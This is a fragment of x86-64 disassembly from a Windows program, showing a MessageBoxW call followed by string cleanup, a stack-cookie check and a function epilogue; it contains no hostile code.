cmp qword [rbp + 0x298], 7
cmova r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova rdx, qword [rbp + 0x1e0]
xor ecx, ecx
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
jbe 0x1400027f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
movdqa xmm0, xmmword [0x1400067a0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x1e0], bx
mov rdx, qword [rbp + 0x298]
cmp rdx, 7
jbe 0x140002850
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000284b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
xor eax, eax
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140003eb0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret